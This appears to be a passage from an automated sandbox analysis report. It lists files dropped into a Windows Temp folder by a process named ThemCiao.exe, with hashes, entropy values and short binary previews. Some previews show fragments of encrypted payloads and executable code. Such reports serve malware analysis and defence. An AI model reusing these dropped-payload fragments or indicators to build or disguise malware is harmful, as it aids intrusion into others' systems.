                                                                                                                                                                                                                                                                        Size (bytes):78793
                                                                                                                                                                                                                                                                        Entropy (8bit):7.998191334058801
                                                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                                                        SSDEEP:1536:p8kJchew+jaFYi5+HOXM7jSvgtifbVrsSiZhqILctvh7KKsHTD6w42qR:pTJ6bsaFYi5QOQ4siLah/DTD6v2qR
                                                                                                                                                                                                                                                                        MD5:41D50F5710D1C90266C3649DB9DD58BB
                                                                                                                                                                                                                                                                        SHA1:20C861C585E615C94E742688D7745C2E1A30B6E5
                                                                                                                                                                                                                                                                        SHA-256:56F00003A82E3711C4CF4944B492DCA6F52CD9BC6E59E4CA6E8A538ED96FB22C
                                                                                                                                                                                                                                                                        SHA-512:74FE5261279F8AF9709459F2C68B33DB3636FB1D2C2CDD3B78923BF4328F30800D41967103E4CE54E938D33C7C65CF1C50F6B40AAEF7ADCA4C1720BF8F42FA73
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:...6..i...o.@..4.Ybx8.D..^c.W..$...^@..@.{.Q..N.#.....W....=.....F..S.H.{......y.G..7..Bx....3......Nu/~.0gs.+A.Z..eF....D...7!-wM.]....R.D....{KZx.m+...>...p..:......pq.o.....Nt.....4..EA1MF..+.D.+.D.$..1...w....@..X7.n.U..d....d...3'..-J.=eT......SI.)v .K..........R....."....z.........5{.5..y...,.QFEU.../.V.#;......1....2......7..5..>)...,.t.#..*7..\7.:..........[...1.o.j.[!.(.,.!...I..M.R..:....&.(...|n.<..c.U......Ht.*...|.9b`....G....3B.wY..&t.........|Ld......0t.0..4*.Ti. )....b?..Z.^..|.2..I..Wn'.......z>...)........_z............. ...A,.R....9fmJ.y<\&..8.qr...8._.D......_....Q..2B.<.B.sd.G%...Z~..! .5q..;..ie....lNuQ/..+.{...n.....XK.2....T\w..:.....OM...!.4&Q.....<?...p..Q nXF.{...M...|vVjow._)..\..V.`.t..6|..zn..[;tf...#.T`.......7R.%..xD.Dm.........?7...s.....Vc.B.Wp.ow>.......?a...u.s(...f./.m.......:\...g.&...C.^.u).P5.&.b.#P..'..=_..T.;j.{...gD.ZD$'.....82.._...},in('.8.~y..b|..G/....ID..]e`ZMgNJM81<{.p...e..~s.....

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Heavily

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):76800
                                                                                                                                                                                                                                                                        Entropy (8bit):5.899445994459236
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:1536:rSfuVGHj1vtK7h6R8anHsWccd0vtmgMbFuz08QuklMBNIi5:rTq8QLeAg0Fuz08XvBNb5
                                                                                                                                                                                                                                                                        MD5:2115B6A8962A8F2B7F7C2450231773E2
                                                                                                                                                                                                                                                                        SHA1:0D90268176992695B2E62190DA7B8B0B79CAC839
                                                                                                                                                                                                                                                                        SHA-256:7BE794F56922CA7E5CB830BB5427A8EF540F015FF4A7C711652F56125A01C05B
                                                                                                                                                                                                                                                                        SHA-512:F4939F56DF095F07C05BCFF415BCB824A3F51158F3503F16C9F1A0225408BABE0048FD606E75F76B5F83E5B0D1637632E468EE4865DFB30DD005E60EB741D8F4
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:Z.......*...N...B...6...".......................@...P...........................v...j...^.........................................(...:...F...N...d...z....................................".......:...N...h...x.................................... ...4...P...b...t.........................n...............*...>...T...p....................................(...@...P...^...t................................&...B...`............................. ...8...J...\...r..................................."...*...@...N...Z...n............................V...J...:...*........................................................*...<...V...l...x...........................................(...2...D...V...f...x....................................... ...2...D...^...x..................x...^...H...2....... ...........................................'...........%...).......................................M...&...........................................h...R...>...(...........................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Induced

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):72704
                                                                                                                                                                                                                                                                        Entropy (8bit):5.540764254683208
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:768:xOWel3EYr8qcDP8WBosd0bHazf0Tye4Ur2+9BGmdr:x5el3EYrDWyu0uZo2+9BGmdr
                                                                                                                                                                                                                                                                        MD5:9C1876836B23D6C5D6F6C942FED327C9
                                                                                                                                                                                                                                                                        SHA1:764844B7599271AA36AFA58254844D7E8444D4A4
                                                                                                                                                                                                                                                                        SHA-256:B599C39229E1C937929C3C507709D490F016D9ED0ED006B4EC9DAEA947F1202A
                                                                                                                                                                                                                                                                        SHA-512:9E3CFE2FCF988745AE809983114E05E57EF854B88307EDBB95F4701F92BD02E10F61D1DBD26E45685CC1F606EE954B6A1E81222B768A93DA6F0EE1D4F70D8EF5
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Ja

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):90112
                                                                                                                                                                                                                                                                        Entropy (8bit):7.99802644938933
                                                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                                                        SSDEEP:1536:GJn1KAitPkcx5QsxFjzM5Ben7FZ/1YH6524nZV8zDTnZDwoz2RTpWPy4sCHYCIdt:GJcAcs8KEFXekn7eH74nZyD9xupv4sOc
                                                                                                                                                                                                                                                                        MD5:A915159B9C03142AC1B54280D4C46A8D
                                                                                                                                                                                                                                                                        SHA1:15457F961D302ED67088B42E24D9D7A5EA0D06A3
                                                                                                                                                                                                                                                                        SHA-256:7829C52DFA3D9B7EC0EC7657B12E67D5E61561311C00C169440F47B2A1CD67C6
                                                                                                                                                                                                                                                                        SHA-512:EC4B1BD8AA29E70D993E8D1D9D87120BC8DD7D3B7549608101E6662106F6FCAECB1739968F745A857FE0AA79E5DB3DE38CACC15CE983EAFF31BD6A07C48F40AF
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:...W....4......E.._.........q........$.. ....i.C!.B z.*.I+..........m.wU..)....!4T.....4q..T....W..C..m.mh.o1...g..........U..v...+n....J.XK.wV.T..G.SF.m.G..=.l.)..V.a.....z....M.}K...n&1,&....?n....@.x.j.}.4...C....j..{?..J.8H{F.\....w..~.;...[..C.;.m......t...#................z.$6$.6f...5..H..*.,:.Z.k.j.Z.a.t.*..?.uD.2#..{.K....8&.:-.a.d.&.^t..KU.7U.$.i.k...X1.#....)B....Y..y...h{Z.~.~...T.(...v*G....Y..Q..................l;x.%Bi..B..^..n...g.U.=..#j.o8.....Y....-..Wm:......o.8..W...o.a.......d......A.o...{.f...l1.RF.$.,.G..B<....MZ......hMvw..x2.....d.?R.Am..`..H.X`.i.T.L....$P..a..g.~.N..........7yp`.X.1j.....F...@.2....^tY>.....G.A....&..%.......wnt...n.(..s.lr.E.W.G.t.0.v..}.=.R.........W...E#.%F.s,..zTR.p.3x$.<..@../.%/....q,.`.......w..C...i.U..E.......?.U..8}%..Y.......K.hP`.S..A.3..z..*..K.*.....W3.o.f...I!.?..Fw@.u..e..ZuB.W......L!h.G.\.C.FS..x..EnE....m.....5....:.....[:Sf>...@..s..aJ....7.Y..G..l...N7P..%...|."..0..}.H......

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Pins

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:mumps blt global (V90) - 602 byte blocks - K/D format
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):74752
                                                                                                                                                                                                                                                                        Entropy (8bit):4.83359923178963
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:768:AGKAGWRqA60dTcR4qYnGfAHE9AUsFxyLtVSQsbZgar3R:hKaj6iTcPAsAhxjgarB
                                                                                                                                                                                                                                                                        MD5:D6214A2166FC2AADA9B39D0AB32023BC
                                                                                                                                                                                                                                                                        SHA1:5BB49C974EC37AC1D3089E29EF06FDA9DD8D2410
                                                                                                                                                                                                                                                                        SHA-256:29343F954A01B51300DEC7C2D90E53629A2A4A426F41FD94F946AA150A64B268
                                                                                                                                                                                                                                                                        SHA-512:7F4726EAD11F2307D9436BF0F52F07025D907E32DB2765A191441C8D3D8A8B26A760E4E7799283F6F1E21BAF990D060CA890832B8E35D70CE771E52165D7F842
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.Z.[.[.\.].].].].].].].].].].].].].].].].].].].].].].].].].].].].].^.^.^.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r._._._._._._._._.`._._._._._._._._._._._._._._._._._._._._._._._._._._._._.a.a.r.r.r.r.b.b.b.b.b.c.c.c.c.c.c.c.r.r.r.r.r.r.r.r.r.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.d.r.r.r.e.e.e.e.e.e.e.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.f.r.r.g.g.g.g.g.g.g.g.h.h.h.h.h.h.h.h.h.h.h.h.h.h.h.h.h.h.h.r.r.r.r.r.i.i.i.i.i.i.i.i.j.j.j.j.j.j.j.j.j.j.j.j.j.j.j.j.j.j.r.r.r.r.r.r.r.k.k.k.k.r.r.r.r.r.r.r.r.r.r.r.r.l.l.l.l.l.l.l.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.m.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.r.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Pupils

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):1781
                                                                                                                                                                                                                                                                        Entropy (8bit):4.773211277973666
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:24:cyGS9PvCA433C+sCNC1skNkvQfhSHQU2L55e1yb/uBx39lt6DhBhhB4+JvU1H:99n9mTsCNvEQH5O5U1nPKrhBzM1H
                                                                                                                                                                                                                                                                        MD5:14577576D4FB0A55332B4EF4AD66FC8B
                                                                                                                                                                                                                                                                        SHA1:6B9FAA9327B71AD76D76EABCF8A7DC9EBADCA21A
                                                                                                                                                                                                                                                                        SHA-256:E7108D33F623F9910FA228843A334BB711CC707EC4E5FE2311EB36CD172CFE8A
                                                                                                                                                                                                                                                                        SHA-512:2EEAE5C3B057D125043AFAAF5601206DA8EA05968AAD72F8491D07AF78E38023995A61EB99B0FED6C70DD6514AD45BE03F5642751B2AFA0675AA244136C3D7B4
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:Autos........................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L......b.........."...............................@..................................k....@...@.......@.........................|....P..h............N..X&...0..tv...........................C..........@............................................text............................... ..`.rdata..............................@..@.data....p.......H..................@....rsrc...h....P......................@..@.reloc..tv...0...x..................@..B...........................................................................................................................................................................................................................................................................

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Realty

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):88064
                                                                                                                                                                                                                                                                        Entropy (8bit):7.998113281082154
                                                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                                                        SSDEEP:1536:JKroW1hMu37A9BGHUhaDd2BIxRor6H+YSn18MNUypvUYzWPXwqV6YZxqIZgv:SAfMU3BWRoWH+YMLNUypJzWPXfZxqIZi
                                                                                                                                                                                                                                                                        MD5:6D65E94594FE1107560904C22D7026F3
                                                                                                                                                                                                                                                                        SHA1:90506E9600583C3BF982331126EEA08B64AE96B8
                                                                                                                                                                                                                                                                        SHA-256:ADB700F66EF24951C262F4BE99170BEA4268060665055547AB005B319A221E10
                                                                                                                                                                                                                                                                        SHA-512:BE51159BF66C41903D7DB6A78ECEE7BF3CF2ED79EC49CA0E1717711FE2C3B8A571EE15106A0CD17E82C08F06A68B9D8808F245A21B410383A6A63445045EE4D7
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:.g...I.+|P(!....}.W........3.....~.4...ecz/|..MxF........vHK....9E.I..$.p%.....X..9......{....-.....ER..Xo..d..b.1.U........+..Gg.L.$^.F.IK...|..:\......8.&. .......=^..rRJxs....(.l..F.....xUo1.?$....e......<..9..c.Q.2....#......+cM)..|&.i..j556..jX....k...5~.~.....*z.')....yy.0H..<s)..e.....O.Ib..s.......X.N..|._|3..f2v"G......{R.W.^p.=/.;.f....i..\sj.,.puo....]x$s.T..Fh.$o....T.G..|.....](k.d;..^.f.h-...l.b..<....W.*T.&.@............zM..z.1j..........AD..a..t. .+..S....~S.....I....um.n....y.F..V...+|9.L.m.....ot..L.`.Nc4D{..q.1...Y.(.L............E......=`ut......4T..{.M.sNq.gx.t...mTxWi...0..T..S.......1_5....jO...6N...Y.M.%..~...g..F.4....w.d9..w.;..5..C..I...t.@...?...@..............b.#.....=Y....l.....G.$.y......"Y2...&..n_]...:........)..P/..iWO.m..u..\5x.-12p.....#m}.`...3w.......6(W(.d4......r,..}......'.5.........d).....`.v{..D.\hQ~dC.?P.{....2..LSD..lu....'!..N$.n....7.y.qu.D..;.e.mo..@(..Y.....& ..i..h~.....Q.6.9\..P.....r

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Salvation

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):132096
                                                                                                                                                                                                                                                                        Entropy (8bit):6.603513580674211
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3072:i2u5hVOoQ7t8T6pUkBJR8CThpmESv+AqVnBypIbv18mLthfhnueoMmOh:i2j6AUkB0CThp6vmVnjphfhn9
                                                                                                                                                                                                                                                                        MD5:2D2CF4B7BB6229878E8937CB51D0D51D
                                                                                                                                                                                                                                                                        SHA1:CE1602051D9A90B43D3AC72F07C775FA3F27DAD1
                                                                                                                                                                                                                                                                        SHA-256:11426E56E1B18C83CB8504220987C32223ABA20C1BD637BAB9E363B4836E3253
                                                                                                                                                                                                                                                                        SHA-512:50E2BA4757880EF5BBC33757A6957F1218B006CD7A5E358502D5FC5D94AB6E9B14D0EED6197A5FB446FC8BCD5C744DFDF9E82085514107947453681C8C6C1952
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:...L$8..................E..x.........@....x..u....L$.Q.L$(P......p.E..t?.D$$3.P.D$,.|$(P...+.....t..H(.....t..E....=.....M.P...Q....+.E..t".E..@....x..u...3...WP.D$0P......3.G.L$(......._^[..]...U...(SV..M.W.i....C.3..x...~^.C..@.......y..u(.A .e...E.A$.M..E..E.P.E...........M....A.P.M.. ....M..E.P.....M..p"..F;.|._^[....U..VWj....[....}......u..f....E...P.w.........E.P.....RP....+....t..M.QP...........2._^]...U..SV.u...W.>.V...t..W...t.......u..E....C.....N(..t.Q.....Q.......K.3.y...~..I...90t.B...;.|.O...C..H..D.....B....;.|.s.j..N..N..F..4...<...F.YY.N._^[.$..]...U..SWj....]....}..u%.e...E.P.u..........t..u..x(...W....VVj0..;....Y.}..w.........G.....;u.t..u....8...j..;....Y.u...f....R...u...(..7....^.._[]...U..QSVWj....j;....Y.w........E..}...........;.t.R........E..........E.P.r.._^[....U...8S.].V..W...t......x...........l...............\..........j,.E..E.j.P.E.0....5`........u..]......f.M...E.PS...............M..U.]..E.....R.......j.Q..P......I..........E...

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Servers

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):107520
                                                                                                                                                                                                                                                                        Entropy (8bit):6.707298339872982
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:1536:bLdTmHwANUQlHS3cctlxWboHdMJ3RraSXL21rKoUn9r5C03Eq30BcrTrhCX4aVm/:XdTmRxlHS3NxrHSBRtNPnj0nEoXnmow3
                                                                                                                                                                                                                                                                        MD5:C2FD2344D54CB8DEB3F602B00E1CFE6D
                                                                                                                                                                                                                                                                        SHA1:AE74D698807CB0B42067ABA74D0C72689DF36C4C
                                                                                                                                                                                                                                                                        SHA-256:A7207A26BCF3D3DB5C570B7A55746982A5CA4B2440B1AD87600341F0C10B5DC8
                                                                                                                                                                                                                                                                        SHA-512:9D1E02D7BB91A2537A5ED85011B8787B6EBEB76B9ECDB51155DD5BEDB6D07CD06BC858FBB059C20DCE268898EDB437F697AD944EF61610CB556096E92FEB5D2B
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:.......D$\..$.....D$...$.....D$..v....N..y8..t.Q.y....~..|$..F...g.........I8....I8.....8.....|$\.......O..D$.;......P.e........@8.......3M.Q.y..|$...7...=.3M....3M.........3M...........U...P..$....j..7.V......p........j..7.@.........$...Q.V...........D$@.............j........u..D$..L$.Pjp..........D$......W.............P..$....j..6..............p.........j..6.................{...Q.....p.........f...Q.....[...........@.......E.......@..@...@..PQ. ....B....u..M..E.j.P.E.PS.*c........... ...u$.M..E.j.P.E.PS.Q............U.u..U..K....f.x.Nt.......8.......j..E.FP.E..u..u...PS..............U...u..M.............t[3...j....I#M..M.............c...........~pj........~e.u.j.j.V..........tQj.j.V.........(........tv3......I#M..A..x..~#j.j..m....M.P.....M..E.P....e....M.h..I...I...M..|....M..E......E......f....E......E......'...j.h..L.j.h......../....y..K..E........@.Ph.....q....M.......E......E...........N..E.;.......P.*........8........E..E.j.P.E...PS.n.........

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Suppliers

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):129024
                                                                                                                                                                                                                                                                        Entropy (8bit):6.45093126173575
                                                                                                                                                                                                                                                                        Encrypted:false
                                                                                                                                                                                                                                                                        SSDEEP:3072:ZWoUlJUPdgQa8Bp/LxyA3laW2UDQWf05mjccBiqXvpgF4qv+3a:LgQaE/loUDtf0accB3gBmq
                                                                                                                                                                                                                                                                        MD5:B6A2F2038601808E271543DCBEAB618A
                                                                                                                                                                                                                                                                        SHA1:B1891E4CA7E491BC1373822C289AFE6FE67FE537
                                                                                                                                                                                                                                                                        SHA-256:4D2338B2D88767728AC0F49117DFF66BC98295A08DFC28695983EACFD86B51D1
                                                                                                                                                                                                                                                                        SHA-512:E4B8D2AC7D0BFEBD2F84C9CE2B3A1A11A3376C12766644335DB9E4B3AC4B8EB40DF56947F8FB823D6FBBEE06A35CDA31716C81D254935541008F4B31BC3BB6CD
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:v+....D$\.....L$x...f;.u..........u.D$H.L$@9D$lr..2.D$xf9D$\s'.L$@..L$t.C.....3M..C....3M..{.........L$h.Y....3M..L$h.Y....3M..K....D$,P.D$PP..........V...D$U.L$P.D$..L$ .....D$xf9D$\.....D$H.S..K..L$D.........r.;........|$p.2.D$@.?..t-....D$\.....L$x...f;.u........l$@.u.D$H.L$D;B.r....D$xf9D$\s#.L$D..C.....3M..C....3M..{.........L$`.Y....3M..L$`.Y....3M.._....|$9...D...j.............h..M..F...........D$..F...D$..D$4.w....|$9....S....$.....y....|$..I.._..w...../....G......Q...j.W.G............N..........u.|$..T$ .......L....=..M..........N...F....F..8....N..j.V......C.....C...........D$H........................u..A.............2....D$..D$U.....|$9.......j............h..M..F...........D$...F..T$..T$4.c....|$9....P.....s....I..........B..8.t~....6.....8....T...D$,P.D$PP.>.......@T...T$P.L$U.T$ ..t..D....@...f..H...I..f..O...I...u..A..............u..A...............t..r.j.R..........T$ .T$P.|$T....Q.....|$LO.D$U.D$..|$L.....u..A.............t$..D$.........R....|$9.

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Titans

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):78848
                                                                                                                                                                                                                                                                        Entropy (8bit):7.997557902119791
                                                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                                                        SSDEEP:1536:RsbcjU7zpMG7TIzeBJIC7gGCVK5icJ1VxR+xAg5EoOIoiEU05R2Y16a17:RsbcqNTlIIhmIXjgOTJ5XN
                                                                                                                                                                                                                                                                        MD5:7CA99F32773048BC2A3B136FF4DBD254
                                                                                                                                                                                                                                                                        SHA1:73BE50063825634EA315D09D37C81FE8837A2283
                                                                                                                                                                                                                                                                        SHA-256:1BD728E61813958ECF67F3417CF07D1A49DB28E3C8E6BCDE70387B1F44B3F889
                                                                                                                                                                                                                                                                        SHA-512:51F21F2CFF088728371C2377533B71E2CB349F0AECF3BF968C953E41FDA7B3FE09A6DD47A51C2AB618CA9D7F1B80730B02A1636BFF2F028A653F445F1D7D44B6
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:.^...SX..ti...1...;.?+..y..../L6.....z.(m#.+@M.$.@../Y...L.M^.....}....#+E..o...{.TKbI.....(@.H...(:.>....H..g#...W.?...v..*..U.FQ.S...Z.........^.2v...z..V.....e...e..o....y..'.........s..y..m$:..h.......n.....[...b_..t.!rZ..!..A...... ..q.Te..B.$...c.7...w....E.&kC3...t....2..:Z..3.`..]..g....U....h..o..y\,..V.c(.P.i.....e&.....Bp0....e......(nP.P.......wB.P.....'.=.^^ly..rd.T....Y."-'.[.0....>{9]c....m,"<.{......%.&....L.,..b.45..I...c..ct.4...sy..b.Th^..>.x.D.p|l!#.>.X.;.g....JO.el.,....P..PzS8....^ w..V.-Ia..Cv..F.@7c6....;....._8.*...PbfO...K.6...+[..h.p...\&.z..g.PA..Ny..]..y.a..a...F.A5Q..3Oa._a.h.s.......X....=.8..M+....4i.;..V.t>.K.>2 {..~,[..........o.}.o.+.=*.......Z....u.=...9....|m_k.m..=%'...[.o.v.T'.v&..!....ot.Y...b..A.:^.H.pw...!W.a-.(..%.....D.Lt...._..r `,..pzl.d#:.4y.Ak{Co.6P..HCY.c..o...X7-......7I...i...)!.....&HM......4.0.A.n.gb.@d6.."..a.C.....L.L...a.{6.z..0.u.z..h~..:...y..<.-..Q.( ......~.*..Ll1g-N....0

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Toys

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):92160
                                                                                                                                                                                                                                                                        Entropy (8bit):7.997911248878652
                                                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                                                        SSDEEP:1536:eORwFIZRNhtZXiCo4hBLOhzC+Kq+iopQTHNDrKbrWwGoncU+xwD99KW5icf:eOR99hXaaBShWG+d+MtTCw/5j
                                                                                                                                                                                                                                                                        MD5:4640A9847D5E06D33DAB80B416CFA640
                                                                                                                                                                                                                                                                        SHA1:17E58F883E9C65AE75378D61FADF9C46AA03085B
                                                                                                                                                                                                                                                                        SHA-256:1936CBF9D309988A0A1C8A62DB30C646ED2236142F55832A4562AD02FC7AE7AC
                                                                                                                                                                                                                                                                        SHA-512:461018F760E06E5FDBBD5AF717781F36F2FE6DAE2BB706EBCCCE45FF8038C62C8E1BD28E3C5CFFD29512350D939D27DBF1DBACEEB48FA7616859C6912FDB0849
                                                                                                                                                                                                                                                                        Malicious:false
                                                                                                                                                                                                                                                                        Preview:.....~n/.:...h..7...~.-].,.&..y..1..e.H.A6......$.l..z...p..j..0...1K..0.......S...z..Q.~....l.Bh....~....'..|...Hy.f:...8.D|....E.|X.V...n.......^...Sk..s..5....g.*s.8..3"Et.#.X.8.^Y,.e..r..y......1.@..G....]?.Q\....Z.K..&...M..tu6.M\.J..3K.al...?0..v.....a..............c.0..Dy..g..CZ'..g...W5(.I.r..Q..Ne....Po.mZ..%....&VV.^.S7..%!4..[].]n....@...w.`.OA...........2..28s......}...A6".....t.VZ.H7.F1...4l. P.$.#3s..^.S...f..W.x..4..hqq.Yr....R`...?.5c.o..W&.>E.:..).&*.$.....L.h..^D.s)u.rK.P2..t.GP0..[.-$xc.#._.e ...IF.B{.`..Cslc..4by../..q.7.G.|[.b.Y.WJK......'b}..5..?%}.>.z.Y...M.<Vb.$T..*.~.y...3...^.FV..Y...c...5...W.[.....2..'B..Qq..a^}.?[.."y....N.q....~.a6}D.....e..".....Y.X..r..=..6....@.8 .."w.....4a.....-..u-.T..`Yq........b.T..-..c...g......%...\>/e..h...%.....wgQ.Ul|.j.9.4Jy.Xb-.lR.0.Q.g..DY........19.....F2..S?1m...COb.n...<.J.jdQ..A.I..v.....{.......zggO.\=:o_..4...'...P.BK...~...|v....O ...3.u.m..N..iN...KJ.lK..,#.M....%..r..;

                                                                                                                                                                                                                                                                        C:\Users\user\AppData\Local\Temp\Victoria

                                                                                                                                                                                                                                                                        Download File
                                                                                                                                                                                                                                                                        Process:C:\Users\user\AppData\Local\Temp\ZMqHMFInp3s7BH2HI7\ThemCiao.exe
                                                                                                                                                                                                                                                                        File Type:data
                                                                                                                                                                                                                                                                        Category:dropped
                                                                                                                                                                                                                                                                        Size (bytes):61440
                                                                                                                                                                                                                                                                        Entropy (8bit):7.996920269251868
                                                                                                                                                                                                                                                                        Encrypted:true
                                                                                                                                                                                                                                                                        SSDEEP:1536:e7XtLO6Sw7yJEKZfj/E7DPpgsw0Vu89iTU:wtLO47IZfj/cPpLk8UU
                                                                                                                                                                                                                                                                        MD5:5887C0E954929BFD5156E31F4619BBCE
                                                                                                                                                                                                                                                                        SHA1:2D1CA758299BF05A57220D6D6CD8B6DAB6B4A7C2
                                                                                                                                                                                                                                                                        SHA-256:97D70729C00EDA5C207BB50BA6BA6F0D0D771B5B72645C3B7A8EC239AAD70EF6
                                                                                                                                                                                                                                                                        SHA-512:500B333037112F0732DC33147BCEE52DF8027606891D071B58F3B5FB224A54CC174C421CAF8C429B79D8503F2AE0E3216858703C71444E871DA3B2C928D6E12A
                                                                                                                                                                                                                                                                        Malicious:false
